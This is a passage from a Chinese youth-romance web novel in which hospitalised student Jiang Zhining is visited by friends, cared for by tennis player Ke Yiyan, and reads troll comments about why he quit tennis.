姜织宁按下遥控器暂停键，顺势坐直身体，笑着接过花。 说实话，她没想到朱恬会特意来探望，还挺意外的，毕竟她们不在一个学校，只有在音暴那边有点交集。 朱恬看姜织宁手背上还在输液，便说：“我把花放到桌上吧，还挺重的，别压到你了。” “好，麻烦你。” 花挪走，两人闲聊了一会儿街舞方面的话，中途，朱恬临时想起还有东西没给，便打开腿上的帆布包，拿出一本笔记递给姜织宁。 “那个这是我做的学习笔记，不知道你能不能用得上，如果需要的话，我可以扫描电子版给你。” 姜织宁好奇接过，低头翻看起来。 不愧是女生做的笔记，认真细致，字也很漂亮，特别不错。 她知道朱恬成绩很好，在附中年级排名二十左右，学科竞赛接连拿奖，当初了解到女生成绩这么好，她立马痛骂好几句周胜扬狗眼不识人！ 趁姜织宁看笔记的功夫，朱恬抿了抿唇，突然鼓起勇气说：“其实我觉得，你和有些传闻中说的不一样。” “啊？”姜织宁翻过一页笔记，“什么传闻？” “嗯就是说……性格不太好之类” 姜织宁抬眸，弯唇说：“说我高高在上，脾气差劲，很不好相处？” 朱恬尴尬点了点头。 这个世界上，大多数人都存在着同一种心态，既排斥那些不合群、特立独行的人，又嫉妒站在高处，光芒过于耀眼的人，他们喜欢微妙的平衡，最好，周围人都站得比自己矮一点。 童星的标签很容易招来非议，从小到大，围绕姜织宁身边的不是只有善意，有好话，也有不好的话，有赞美，也有诋毁。 周围一直有很多种声音，姜织宁早就习以为常，且不太在意。 熟悉她的朋友都知道，她从来不会装腔摆架子，对朋友真诚坦率，很讲义气，但是，这并不代表她会向所有人释放善意。 “好不好相处得看人。”姜织宁不以为意笑了笑。 朱恬轻声细语说：“我就是觉得，那些人乱说话挺过分的，还传来传去，你别被那群神神经病影响，别听他们的，下次再让我听见，我我一定会帮你骂回去！” 姜织宁知道朱恬是社恐，性格软绵绵，平时闷声不响，能让她骂人，真挺罕见。 她笑看女生一眼，笑盈盈点头：“嗯，我不听。” 朱恬抿了抿唇，表情有些害羞地说：“其实你人特别特别好，好几次在音暴上课，你都会来基础班陪我，还陪我站在最后一排，就我就想和你说一声谢谢。” 说来也巧，朱恬最初想学街舞的契机，就是因为姜织宁。 那次，她无意间刷到了姜织宁在学校操场跳舞的视频，她看到了少女自由蓬勃、耀眼夺目的生命力。 是种不一样的，鲜活的，闪闪发光的青春。 很羡慕，她也想拥有。 偏胖的身材让她自卑了很久，她确实想减肥，更想克服社恐性格，所以才鼓起勇气，独自去音暴报名街舞课。 最开始，真的很难。 肢体僵硬不协调，经常同手同脚，动作总是记不住，怎么学也学不会，她最怕老师走下来热情互动，每次只敢站在最后一排的角落里。 几节街舞课学下来，周围学员个个比她跳得好，自信大方，无比享受，只有她在原地踏步。 心情很低落很郁闷，会学习的脑子在舞房里没有一点用处。 要不，算了吧。 反正已经想过好几次放弃，上完最后一节课，就到此为止。 最后一节课，她抱着摆烂的想法走进教室，惊讶发现姜织宁站在最后一排做热身，姜织宁看到她，笑着抬起手，主动和她打了个招呼。 很意外，很惊喜，那一刻，她突然在陌生环境里找到了熟悉的同伴。 之前因为社恐性格，她不敢请教其他陌生学员，这次因为姜织宁的加入，她开始学会放轻松，开始敞开心扉加入交流，开始感受街舞的魅力。 跳不好也没关系，最重要的是享受。 好像有点不一样了。 她第一次觉得，这堂街舞课，她居然跳得还不错。 既然如此，那就，再试试？ 是姜织宁给了她坚持下去的勇气 姜织宁听到她这么说，善解人意笑起来：“这没什么，在哪跳不是跳呢，我不止学hiphop，爵士也学，编舞也学，本来就喜欢到处乱跑，你现在已经进步很快了，上次西西老师都特意夸你了。” 朱恬不好意思点了点头。 “哦对了，”姜织宁忽然想起一事，关心问道，“你们班新来的那个转学生，你和他相处的还好吧？” “转学生，你说匡匡延吗？”朱恬愣了下，表情懵懵地问，“你认识他？” 姜织宁笑眯眯，语气轻松说：“认识啊，以前匡延在音暴上过一段时间街舞课，我俩一个班，他舞技超级厉害，拿过好多街舞冠军，我听说，前几天他转去你们学校了。” 朱恬脸色有些复杂，点头说：“对，上周刚转来，他现在是我的同桌。” 就是因为这位叫匡延的新同桌，导致她最近人缘飞涨，就连周胜扬都开始主动叫她名字了。 “哎呀，你俩是同桌啊，这么巧呢！” 姜织宁故作惊讶。 然后她换上一副老母亲的操心语气，睁眼说瞎话道：“恬恬我和你说啊，匡延这孩子呢，性格比较内向，平时特别不爱说话，很容易害羞，他作为转学生，肯定在附中人生地不熟，正好，你是他同桌，平时在学校里，你帮忙关照他一下，可别让他受到欺负。” 性格内向？ 容易害羞？ 受到欺负？ “是是吗？” 听到姜织宁这么说，朱恬的表情更懵了。 无论是外貌，还是言行举止，班里人一致认为，匡延是个不太好相处的冷脸bking。 朱恬也是这么认为的。 匡延长得很帅，从小跳街舞，因此气质独特，酷得很，由于颜值逆天，他转来的那一天直接引起了年级轰动，好多女生特意跑来看他。 按道理说，附中的校草称号肯定非韩辰莫属，但韩辰是明星，大部分时间都不在学校里，况且公众人物和普通人之间有壁，所以在平时，女生们嘴里高频率蹦出的帅哥人选并非韩辰，反而是周胜扬。 不过自从匡延转来后，直接拿走了所有讨论度，都没人关注周胜扬了。 那天，班主任带着匡延走进班，简单自我介绍后，便让少年自行选座位。 班里有好几个空位，面对数道期待目光，匡延居高临下俯视着讲台下方，没多看一眼。 待班主任话音落下的那一瞬，少年直接走向朱恬旁边位子坐下。 下一秒，偏头，酷酷地对她说：“多多关照。” 朱恬浑身僵硬看着他，吓得当场打了个嗝。 匡延毫不介意，突然想起什么似的，又酷酷地补了句：“以后有困难及时和我说。” 啊？ 朱恬又打了个嗝。 尴尬的同时，她茫然心想，困难？她好像没什么困难，还有，到底谁才是转学生啊？ 当然了，姜织宁并不会告诉朱恬，是她私底下和匡延通了个气，叫他转过去后多多关照朱恬小可爱，别让她受人欺负。 其实她只是顺嘴一提，没想到这么巧，匡延居然分到了朱恬所在的班级。 姜织宁心想，这不就是天意嘛。 哎，真是缘分来了，挡都挡不住呢 姜织宁还在生病，不方便打扰她休息。 没呆太久，在姜织宁的忽悠下，朱恬认真牢记关照新同桌的重大使命，道别离开。 姜织宁想看会儿书，结果输液给她输困了，一看书就打瞌睡，她只好把书放到枕头旁边，躺下睡觉。 迷迷糊糊醒来时，窗外已经天黑，病房里寂静无声，一个人也没有。 姜织宁重新打开电视，想继续看下午没看完的网球比赛，但体育频道在放跳水比赛。 她调轻电视音量，伸手拿起桌上的平板，上网搜索2011年法网女单决赛。 视频跳出来，点击视频的前一秒，屏幕上突然弹出一个国外网球名将代言的运动广告。 误触之下，页面顺势跳转到了某个社交软件。 姜织宁没着急退出，点进品牌广告看了会儿，然后下滑到评论区，突然眼尖瞄到有条评论提到了柯译衍，下面不少人回复。 她意外咦了声，立马感兴趣点进去看。 1楼：国内男网成绩还是不太行啊，远比不上女网。 2楼：乱说，我看半斤八两，比赛是一年比一年无聊，水得要死，完全比不上早年网坛！ 3楼：@2楼能说出这种话，估计你是不看职业比赛的人，怎么就半斤八两了？女网那边，早多少年前李娜就拿过两个大满贯冠军，这成绩被你吃了啊？ 4楼：就是，娜姐最高世界排名第二哎！而且她那个年代可是诸神争霸，巨星云集！请问男网呢？有什么成绩说来听听呗。 5楼：早年网坛是真的精彩，莎娃、大小威、海宁、克妈全是巨星！战绩闪耀，一个比一个猛！ 6楼：哎哟，这有什么好吵的！事实证明，目前男网成绩确实不如女网啊，不过依我看，国内还是有几个青少年球员未来可期！那咋办？只能说急不来的，一代代进步呗！ 7楼：@6楼指哪几个？ 8楼：柯译衍、周跃丞、占子杰他们啊，叫得上名的，不就那几个咯。 9楼：不是，柯译衍都不打球了，把他列进来干嘛啊？ 10楼：柯译衍是真的可惜，青少年球员里我最看好他。 11楼：楼上我懂你，以为他是冉冉升起的新星，结果升到一半，突然啪唧掉地上了，哎，都不知道说他什么好！ 12楼：我说，你们就别未来可期了！真是搞笑，青少年成绩代表不了什么，就算柯译衍拿过大满贯青少年冠军又如何，一切以职业网坛成绩为准！ 13楼：@12楼 瞧你这话说的，和那些只会嘲讽人的喷子有啥区别啊？青少年不要成长的吗？有几个人能一步登天？冠军这么好拿的？站着说话不腰疼，你行你上呗！ 14楼：不会吧，柯译衍确定不打球了吗？我看十月份那会儿，他的后援会还发了比赛照片呢，好像对手是周跃丞。 15楼：对对对，我也看到了！不过不是专业比赛，是学校友谊赛，估计玩玩那种。柯译衍真是越长越帅了，还有，他最后冠军点的那个发球超级牛，240km/小时你敢信？！ 后援会？ 柯译衍居然有后援会？ 姜织宁第一次听说，不禁面露惊讶。 她想起了网球联赛的决赛现场。 那群到场支持柯译衍的校外人员，她一直以为那些人是普通球迷，该不会，他们都是柯译衍后援会的粉丝吧？ 高中学业紧张，上网时间并不多，因此姜织宁会控制好娱乐时间。 一般上网就是为了查学习资料、听歌、看舞蹈视频，其他方面她接触不多，主要是不太感兴趣，这个社交软件也是，自从注册后，她就没怎么打开过。 这会儿姜织宁像是突然发现新大陆似的，立马退出广告页面，饶有兴致地在搜索框里输入柯译衍。 一个叫柯译衍，粉丝量近万的个人账号随之跳出来，她顺势点进去，看清账号简介后，表情垮了几秒。 假的。 简介写着—— 非本人，只是小粉丝。 账号里发的都是柯译衍的比赛信息，还有一些日常加油鼓励的话，不过，姜织宁倒是通过这个账号摸到了后援会入口。 她点进后援会，有点出乎意料，因为粉丝量不少，置顶的那条帖子是十月份网球联赛的现场抓拍，由于评论太多，帖子被标上了热门标签。 姜织宁好奇打开热帖的评论区。 热评第一的留言并不友善，简直是扑面而来的嘲讽。 “无语啊无语，柯译衍去年连拿两个大满贯青少年冠军，高光拉满，今年不仅赛场查无此人，竟然还沦落到去打业余赛，呵呵，以后没戏咯！” 姜织宁脸上笑容瞬间消失，蹙眉看着这句话。 果不其然，热评里的回复都在互相吵架，腥风血雨的互撕程度堪比流量明星。 “寒心、失望！他是真的无语，也是真的不争气！到底还是太年轻，说退赛就退赛，说放弃就放弃，莫名奇妙就不打球了，又没什么严重伤病，想不通。” “以后粉丝就别到处吹天才少年了，及时止损吧，趁早去支持周跃丞、占子杰，他们才是真正的明日之星！” “柯译衍参加这种比赛有什么意义啊？校联赛冠军有半点含金量吗？对他积分排名没有任何帮助，听着是为校争光，冠冕堂皇，其实在自我欺骗，顺便骗骗学校里的小迷妹！我请问，真准备打职业的球员，谁会去参加这种垃圾业余赛？” “柯译衍太拉垮了，是不是拿到冠军后太飘了，否则他作为大热种子选手，怎么会在澳网青少年赛爆冷出局？” “这些就算了，柯译衍突然放弃网球才最让人无语啊！毫无征兆，我至今没搞明白这点，那教练对他影响有这么大？不就是合作关系吗？” “柯译衍就是昙花一现呗，劝你们早点死心，别关注，别支持他了，他以后肯定不会再打网球了。” “也是，反正大少爷家里有钱得很，人生赢家咯，任性呗，想干嘛就干嘛吗，不会管粉丝死活的。” “我说，楼里某些人的嘴巴别太恶臭！怎么了，还不允许人失误了？你当冠军不要钱批发啊？柯译衍去年退赛，是因为教练意外去世！年初澳网青少年赛出局，是因为他的腿临时意外受伤！” “那恢复了就继续比赛啊，现在最关键的问题是，他彻底放弃网球，以后不打了！” “这是柯译衍的个人选择，谁规定每个打网球的人一定要转为职业球员？他亲口和你说了？柯译衍学习成绩好得很，人高中生专注学业不是很正常吗？” “他成绩好不好关我屁事啊，就算全校第一又怎么样？我是因为网球才关注他，我只关心网球成绩！搞笑吗，打得不好还不让说了？捂什么嘴？” “既然不是粉丝就走，留在这里干什么？柯译衍本来就没有公开账号，也不需要你这种假粉丝支持他！” “哦，你叫我走就走？嘻嘻，我偏不走了！我就骂怎么了！” “神经病发作就去医院，做网络喷子病情是好不了的。” “你才神经病！你祖宗十八代、子孙后辈都是神经病！！！” 第69章 她绝对在看不良读物 病房里静悄悄, 只开了几盏小灯。 姜织宁安静躺在病床上，浏览着一条条评论，脸上表情从最初的好奇逐渐变得凝重。 评论里基本没什么好话, 都在失望、嘲讽、气愤、骂人、落井下石、阴阳怪气 看得人特别揪心。 她不清楚这些人所说的教练去世和腿受伤是怎么回事，她从没听柯译衍提起过。 但是, 柯译衍代表江中出征校网球联赛有什么错？ 为校争光怎么了？ 参加学校活动又有什么问题？ 怎么就冠冕堂皇，自我欺骗了？ 这群人到底在胡说八道些什么啊？ 参加比赛有没有意义是他们说了算的？ 决赛现场热血沸腾的赛况, 所有人发自内心，震耳欲聋的欢呼和掌声那些令人热泪盈眶的心动瞬间, 历历在目！ 柯译衍拿下联赛冠军后, 与有荣焉, 江中师生都高兴得不行，怎么到这些人嘴里, 就变成自我欺骗、毫无意义了？ 有没有集体荣誉感？ 会写热爱两个字吗？ 懂不懂什么叫青春？ 正好住院住得心烦意躁，姜织宁面无表情盯着那个名为“Fly”的碍眼ID, 脑子里飞速搜罗了一箩筐骂人的话，准备待会儿好好和这位Fly理论一番。 原本是半躺的姿势, 看到后面觉得腰太累，姜织宁干脆拿着平板躺下来。 平板遮挡住视线, 她看得太入迷, 连柯译衍什么时候走进病房都毫无察觉。 柯译衍拎着晚饭走进906病房, 一进门, 就看见姜织宁缩在被窝里看平板，大灯也不开, 那姿势, 也不怕平板砸到脸上。 他轻叹了声，抬脚走到床边, 提醒她：“吃饭了。” 闻声，姜织宁滑动页面的指尖瞬间滞住，眼珠慢吞吞转动着斜向他，神色心虚，僵硬。 “” 震惊！ 他走路怎么和医院阿飘一样没声音啊？ 什么时候进来的？？？ 柯译衍：“” 她怎么用这种表情看着他，像见到鬼一样。 干什么，她在做什么见不得人的事？ 两人心思各异，一时间谁也没开口，就这么静默对视着。 “啪！”一声，姜织宁突然掌心一滑，手没拿稳，平板猛然砸到她脸上。 “嘶！” 鼻梁立马袭来一股强烈的酸痛感，姜织宁双眼紧闭，痛得倒吸凉气。 “”柯译衍一脸无语看着她，平静说，“没记错的话，前天你刚被手机砸过，同样的姿势。” 姜织宁：“” “那次就和你说了，别躺着看。” 姜织宁：“” 柯译衍不咸不淡总结：“做人要吸取教训。” 姜织宁自知理亏，不敢反驳，郁闷低嗯了声。 “起来吃饭，有你喜欢的玉米肉饼。” 说着，柯译衍伸手去拿盖在她脸上的平板。 姜织宁看柯译衍要拿走平板，顿时心头紧铃大作，眼疾手快去抢。 结果动作慢了一步，掌心“啪！”地一声，用力拍在柯译衍手背上。 哎，不管了！ 姜织宁不管不顾压住他的手，宝贝护住平板，就是不让他拿走。 柯译衍：“？” 确定了，她绝对在做见不得人的事。 住院期间要高频率地输液，为了减轻穿刺疼痛，姜织宁手背上埋着留置针，手背青肿，刚才这一下她手劲很重，不幸压到了扎在静脉里的针头。 柯译衍手疼不疼她不知道，杀敌一千自损八百，唉她的手，现在是真心疼啊。 “嘶” 姜织宁疼得倒吸凉气，紧蹙眉头简直能当场夹死一只蚊子。 她叹气闭上眼，对自己很无语，另一边，柯译衍被她压着手，也不敢乱动，怕影响到她的伤口。 柯译衍俯下身，皱眉看着她，语气无奈：“没人和你抢平板，只是帮你拿到旁边而已，否则怎么吃饭，手痛不痛？” 都十二月了，这么冷的天，也不能胡扯给他打蚊子，这理由太离谱了，蹙眉想了会儿，姜织宁依然脑袋空空，想不出抢平板的理由。 最后干脆摆烂放弃，敷衍嗯了声，兴致不高地说：“我自己拿，你别动，我现在慢慢抬手。” 柯译衍敏锐察觉到少女忽然低下来的情绪，语气放缓：“嗯没事，你慢慢来。” 他撤回手的那一瞬，姜织宁右手飞速拿起平板塞进被窝。 一副危险物品见不得光的紧张做派。 柯译衍被她行云流水的动作逗笑，忍不住弯唇笑起来，真跟藏宝似的。 床头摇高，小饭桌装好，接着把保温袋里的晚餐拿出来有序摆好，柯译衍任劳任怨，熟练做着这一切。 姜织宁安静看着他忙碌，其实心里挺不好意思的，实话实说，这位朋友，照顾她照顾得太到位了。 安排好一切，柯译衍拖了把椅子坐到床边，发现姜织宁的目光凝在他脸上，便问：“怎么了？” “没事。”姜织宁低头拿起汤勺，喝了口热汤，闲聊道，“赵姨怎么没来？” 柯译衍：“在家里忙，汤还没炖好，晚点过来。” “哦，你吃过没？” “吃了，怎么看起跳水比赛？” “随便看看，你要看吗，要看的话我把电视声调大。” “不用。” 柯译衍想让姜织宁专心吃饭，便从兜里拿出手机，闲散靠向椅背看起来。 现在姜织宁每天最大的期盼除了尽快出院，就是吃上赵阿姨做的饭，阿姨厨艺了得，会想方设法，变着花样给她做养肺病号餐。 昨天她提了嘴想吃肉饼，今天就真给她做马蹄玉米肉饼了，香喷喷的，闻着就好吃。 姜织宁满怀期待夹了块肉饼，刚送到唇边，耳侧头发接连垂落，差点沾到肉饼上，她连忙放下筷子，将长发挽至耳后。 重新拿起筷子，正准备咬一口，一缕碎发再次不配合滑落唇边。 啧，烦人！ “啪！”一声，姜织宁冷脸重重放下筷子，瞬间没了食欲。 心情烦躁。 饭也不想吃了。 柯译衍闻声抬眸，放下手机问：“怎么了？” 赌气沉默几秒，姜织宁面无表情斜他一眼，语气冷硬：“头发啊，很烦。” 少女露出罕见的孩子气，柯译衍看着这一幕，不禁唇角微弯，好笑扬了扬眉。 姜织宁在学校里被称为威武霸气的宁王，性格为人也很宁王，但其实她私底下也会撒娇。 确实是很少见，很新奇的另一面，柯译衍撞见过几次，不是在学校里，而是在她姑姑面前，少女偶尔会孩子气的撒娇。 他没太意外，毕竟再怎么成熟，也只是十几岁的未成年，从小在爱的沐浴下长大，会撒娇很正常。 和学校不同，这里是医院，每天上演着生离死别，人情冷暖，现实且残酷。 哪怕性格再开朗的人，只要一住进医院就会笑容消失，意志被一点点磨灭，变得郁郁寡欢。 刚开始还好，一旦住久了，想做什么都不方便，什么都要人帮忙，不仅身体各种不舒服，这里痛那里痛，姜织宁还觉得心情无比烦闷，看什么都不顺眼，只想快点回家。 柯译衍完全能理解她的阴晴不定。 他懒洋洋站起来，笑着安慰：“扎起来不就好了吗，发什么脾气。” 少女不说话，和自己生闷气。 回忆了下，零碎物品好像被赵阿姨放在抽屉里，柯译衍弯腰拉开柜子抽屉，询问她意见：“想要什么颜色的发圈？” 没得到回应，他耐心十足地问：“粉色、绿色、紫色？” “随便。”姜织宁硬邦邦回了句。 柯译衍笑了下，给她挑了个粉色。 他问：“刚才头发有没有沾到油？” “我怎么知道？”她没好气反问。 柯译衍轻叹一声，无奈包容她的小脾气，随即抽了张纸，俯身凑近姜织宁的脸。 一靠近，就发现少女嘴唇高高撅着，他实在忍不住，被逗得无声笑起来，一边笑，一边拿纸巾给她脸颊旁边的头发轻擦了擦。 那股很熟悉，很好闻，并且让她很心安的纯净气息在刹那间铺天盖地袭来，强压下医院消毒水的味道。 姜织宁愣住，呼吸凝固，身体微滞，完全没想到柯译衍会照顾她照顾到这个份上。 浑身僵硬，姜织宁深呼吸，强迫自己放轻松，然后缓缓偏头，眼睛一眨不眨，肆无忌惮地望着这张近在咫尺，冷酷帅气的面孔。 柯译衍感受到直白的凝视，停下擦拭，微微掀眼，对上她的目光。 病房里突然变得无比寂静，落针可闻。 两人距离极其近，眼眸中清晰倒映着彼此的影子，谁也没说话。 少年漆黑狭长的眼眸里不见锐利锋芒，这一刻，唯剩宁静平和，温柔包容着一切。 不知不觉，就叫人沉溺其中。 姜织宁静静望着他，忍不住心想，他这双眉眼可真好看啊。 灯光无声流淌，暖橘色的融融光晕笼罩在两人身上。 在气氛即将变得不清不楚之际，柯译衍克制着乱掉的心跳，冷静直起身，率先挪开视线。 他扔掉纸巾，淡声逗她：“可以，嘴角都能挂油壶了。” 姜织宁回过神，不满眼刀立马飞到他脸上。 柯译衍笑了笑：“转过来，背对我。” 姜织宁不搭腔，用力冷哼了声，身体倒是配合转向他。 她头发挺长的，发量也多，柯译衍垂眸研究了几秒，慢悠悠表示：“就为了吃饭简单绑一下啊，复杂的不会。” 他说话时，姜织宁不动声色扯了扯唇角，脾气已经消了大半。 柯译衍手法生疏缠绕发圈，为了调节她心情，语出惊人问了句：“刚才在看什么不良读物？” 不不良读物？ 姜织宁简直惊呆了。 “危言耸听！什么不良读物？”她不可思议扭头瞪向他，黑脸骂道，“你在胡说什么啊？这是对花季美少女说的人话吗！” 她头一动，发圈顺势滑落到发梢。 得，柯译衍叹了口气，又要重来一遍。 “刚才是谁行为鬼鬼祟祟？还把平板宝贝藏进被窝。”他调侃道，“你在班里，不是老看那些杂志么。” 哦，原来指的是杂志。 姜织宁撇了撇嘴，没好气反驳：“那不就是娱乐杂志吗，都是些明星，算什么不良啊，再说了，那些杂志都是周导买的，又不是我的。” 柯译衍嗯了声，淡道：“麻烦花季美少女下次评论男模特的时候，声音小一点，评语委婉一点。” 姜织宁：“” 她被他说的，脸颊破天荒闪过一抹红。 沉默三秒，她轻咳转移话题：“我头发这么麻烦，干脆剪短算了。” “好了。”柯译衍左右打量几眼，看着还行，抱臂坐回椅子，不赞同说，“剪什么剪，扎起来不就行了，要照镜子么？” “不照，有什么好看的。” 姜织宁嘀咕一句，身体坐正，重新拿起筷子，她现在摆烂得很，都穿病号服了，还在乎什么形象。 接下来的时间，她一边吃饭，一边时不时地瞥向柯译衍。 发现自己被第N次偷瞄后，柯译衍再度放下手机，双手懒散环至胸前，下巴微抬，不着调地问：“怎么了，美少女？” 姜织宁愣了下，抿唇笑起来：“没事啊，就是觉得你真有耐心，我呢，还不够大心脏，得向你学习。” 她是真心觉得柯译衍做事情特别耐心。 少年长着副冷酷模样，生人误近气场十足，本以为他是养尊处优，衣来伸手饭来张口，没耐心，没礼貌，眼睛长在头顶上的坏脾气大少爷。 结果完全相反，少年不仅行事作风沉稳、靠谱、独立，还特别会照顾人。 果然老话说得好，看人不能看表面。 柯译衍唇角微挑，纠正说：“不是我有耐心，是因为你在生病，病人情绪化很正常，确实该包容，想这么多干什么，做人别为难自己。” 姜织宁摇头夸道：“那你还是和别人不太一样的，就连姑姑都夸你。” 他扬了下眉：“是吗？” “对啊。”她感慨透露，“你知道吗，其实姑姑特别喜欢你，总在我面前各种夸你，她还说过，你要是我的哥哥就好了，因为你肯定会做得很好，姑姑居然能说出这种话，当时都给我惊呆了。” 哥哥？ 很不爽的身份。 柯译衍对这个评价并不满意，扯着唇角冷嗤了声，没好气道：“想得美啊。” 哟，想得美？ 突然间，姜织宁一下子起了坏心眼。 她翘起唇角，悠悠蹦出两字：“哥哥。” “” 柯译衍表情滞了秒，耳根倏地泛起麻意，隐隐发热，少女故意拿腔拿调的嗓音仿佛小猫爪，挠得他浑身不自在，心也酥了。 对视中，他不动声色压下那股不自在的酥麻劲，冷淡睨着她，禁止说：“不准叫。” 姜织宁得寸进尺，挑衅拖拉着嗓音，顿时叫得更欢了：“哥～哥～” 懒散身体瞬间坐直，柯译衍用警告的眼神压迫着她，冷声道：“说了不准叫。” 姜织宁怎么可能服输，她抿唇眨了眨眼，拼命忍住笑意，安静妥协三秒后，突然复读机上身，坏笑道：“哥哥哥哥哥哥哥哥～” “” 柯译衍不爽啧了声，刹那间，起身大步走到病床前。 他居高临下盯着她，面无表情地说：“姜织宁，以为生病我就治不了你是吧？” 姜织宁仰头看着他，一脸无辜，结果实在憋不住，一下子咧嘴笑出声，眼泪都笑出来了。 她笑得脑子晕晕乎乎，身不由己东歪西倒，不经意间，头靠到了柯译衍身上。 她这会儿没意识在意肢体接触，就这么无力靠着他，一边顾自闷头笑，一边断断续续地说：“哈哈哈哈哈，我是病人啊，你能怎么样？” “你要是敢对我怎么样，我等下就去告状。” “叫……哈哈哈，叫叫怎么了。” “哥哥两个字惹你了？要不要这么小气。” 服了。 柯译衍低头看着欢快闹腾的姜织宁，无语中任由她依靠。 …… 喝完最后一口汤，柯译衍把所有饭盒收拾进袋子里，顺势说：“休息吧。” “你不回去吗？”姜织宁看他重新坐下来，试探问了句。 他不走，她怎么敢看平板？ 柯译衍：“不急，等赵姨过来再走。” “哦。” 她装模作样看起电视。 半个小时过去，姜织宁心里已经急得不行了，她看向门口，第N次提问：“赵阿姨怎么还没来啊？” 她还要忙着去他的后援会骂人呢，小作文都想好了，好几篇。 柯译衍听出不对劲来，平静反问：“你是想让赵阿姨来，还是想让我走？” “想让赵阿姨来。”姜织宁蹙眉胡扯，“唉，我头疼。” 柯译衍愣了下，会意点头。 他知道她上半年后脑勺动过手术，所以有时候会失眠，会犯头疼，尤其是住院这几天，更是频繁疼得厉害，因此赵阿姨会帮她按摩头部，有点效果。 在翻出赵阿姨号码之前，柯译衍先认真想了想按摩的手势。 很离谱，但他就是这么思考了。 下意识的行为，并没有觉得哪里不对劲。 然后发现，按摩流程好像挺复杂，他不会，于是心安理得给赵阿姨打了个电话，询问对方到哪了。 一刻钟后，赵阿姨姗姗来迟。 柯译衍下巴冲姜织宁指了下：“她头痛。” 姜织宁作势病恹恹轻嗯了声。 “哎哟，又开始头痛了？这肺炎真是太糟心了，我先去洗手消毒啊，马上给你按摩一下。” 赵阿姨洗完手出来，站在病床边，给姜织宁轻轻按摩起来。 柯译衍抱臂坐在一旁，认真注视赵姨的按摩手法，从头到尾学习了一遍，才起身离开。 走到门口时，他临时发现手机没拿，转身折返，一转身，就瞧见姜织宁正偷偷摸摸从被窝里拿出平板。 柯译衍顿了顿，哼出一声意味不明的笑，耐人寻味盯着她。 姜织宁发现自己被抓包，表情滞了秒，随即若无其事地把平板重新塞回被窝里。 柯译衍：“？” 柯译衍：“……” 太可疑了。 她绝对在看不良读物。 第70章 他为什么放弃网球？ 隔天, 周六。 俞杨陪韩辰来医院探望姜织宁，韩辰飞机临时晚点，俞杨懒得等他, 干脆自己先来医院。 昨晚，姜织宁在私信里骂完那个乱说话的Fly后, 顺势去后援会里翻了翻历史消息，但始终没找到想要的信息, 正好这会儿俞杨在，她犹豫片刻, 放下平板。 “俞杨。” “啊？怎么了宁王？” 电视里正在播放网球比赛, 俞杨看得津津有味的目光闻声挪向姜织宁。 “那个柯译衍”姜织宁迟疑了下, 试探问，“他最近是不是有什么心事啊？” 俞杨愣了愣, 压低声音说：“你也看出来了？是不是感觉衍神最近冷淡话少，还压着股脾气？” 她点头嗯了声：“还挺明显的。” 一开始没意识到, 直到期中考试后，姜织宁才明显察觉柯译衍对她的态度好像有些不一样了。 怎么说呢, 有种若即若离的感觉。 柯译衍话少了很多，如果不是她主动开口, 彼此能在学校里一整天不说话。 去他家吃早餐和夜宵, 经常不见他人影, 这样生疏的相处模式, 仿佛回到了两人刚做同桌的时候。 但是，柯译衍的态度又不像当初那么冷。 非要说的话, 应该是淡, 他对她淡淡的。 要不是这一回她迫不得已住院，柯译衍受姑姑所托帮忙照顾她, 彼此关系因此有所回温，否则她严重怀疑，她和柯译衍会从朋友淡化成普通同学。 就挺奇怪，姜织宁暗自琢磨了好几次，心想，期中考试那段时间也没和他闹矛盾啊。 从自己身上找不到原因，就说明不是她的问题，她猜想，柯译衍应该是有其他烦心事 俞杨长长叹了口气，愁容满面地说：“怪我。” 姜织宁纳闷“啊？”了声。 他扭头冲门口张望，没瞧见柯译衍身影，随即低声道：“元旦之后不就快放寒假了吗，按照往年惯例，每年寒暑假我们都要去国外训练，今年寒假也是。” 她问：“你们要去哪个国家？” “今年寒假去美国佛罗里达州，那边有个闻名世界的网球学院。” 姜织宁点了点头，对俞杨提到的网球学院略有耳闻。 俞杨接着说：“我嘛，肯定是希望衍神一起去，其实从十月份的那场网球联赛就能看出来，衍神状态还在，所以这段时间我一直在拿冬训的事烦他，估计他被我说心烦了吧，唉……” 说起网球，姜织宁正想问清楚这件事，她顺势问：“柯译衍为什么不打网球了？” 在看到后援会里的那些评论之前，姜织宁一直认为，柯译衍不打网球回归学业没什么好奇怪的。 一方面，她不了解职业网坛，不知道柯译衍的过去，并且从未想过主动去了解。 另一方面，高中关乎着前程，确实到了抉择的时候，每个人的情况不一样，想法也不一样，很多人并不会拿兴趣爱好来谋生。 毕竟，人生并非一条道路走到底。 旷野之中，有无数条小路通向万千风景，有的人向往流浪诗人，而有的人励志成为野心银行家。 昨晚她耐心看完那些评论之后，猛然发现，事情似乎和她想的不太一样。 很明显，柯译衍放弃网球，事出有因。 …… 俞杨神色复杂纠结，嘴唇紧闭，一副牢牢焊死的状态。 虽然他是姜织宁粉丝，但到了关键时刻，他脑子还是拎得清的，知道什么该说什么不该说。 在学校里，他从来没有对外透露柯译衍的过去，那是柯译衍的禁聊雷区。 他真心希望柯译衍结束自我放逐，重新拿起球拍，而这些啰里八嗦的劝说，他只敢在私底下和柯译衍说，绝不会在外头多说半个字。 “不方便说吗？”姜织宁瞧出男生犹豫不决，说，“我昨晚在网上找了很久。” “呃”俞杨愣住，惊诧问，“宁王你找这个干嘛啊？” “不是故意的，是意外。” 她把偶然发现后援会的过程说了遍，顺带提了嘴骂人的小插曲。 “卧槽，那群喷子是不是又在胡扯了？！”俞杨顿时直翻白眼，气愤骂道，“假粉丝！神经病吧，真是服了，一天天不干正事，只会嘲讽诋毁！” 姜织宁好奇问：“柯译衍知道他有后援会吗？” 俞杨：“最开始不知道，还是我先发现的，跟他说了之后他才知道。” “那他平时会去那边看评论吗？主要是，有些人骂得特别难听。” “他没兴趣看这些乱七八糟的东西。”俞杨摆摆手，“柯译衍没注册过公开社交账号，很低调的，所谓的后援会，其实都是球迷自发组织着玩。” “不过他早就知道那群喷子，宁王，这方面你放一万个心，他可不会受到喷子影响，人压根没把那群神经病放在眼里，不屑搭理。” 姜织宁哦了声，然后又问了一遍：“所以柯译衍为什么放弃网球？” “” 俞杨脑子里激烈天人交战着，最后，理智和情感，他妥协选择了后者。 他想着，反正姜织宁都知道后援会了，估计也从中了解了一部分柯译衍的过去，他怕姜织宁轻信那群不知内情，毫无同理心，就喜欢落井下石的喷子们胡扯。 与其这样，还不如由他来说清楚。 俞杨走到病房门口，小心翼翼查看几眼，走回来坐下，一脸忍辱负重地说：“宁王，我接下来要说的话，那可是衍神的雷区，为了能活着看到明天的太阳，等会儿要是衍神突然进来了，你一定要提醒我啊！！！” 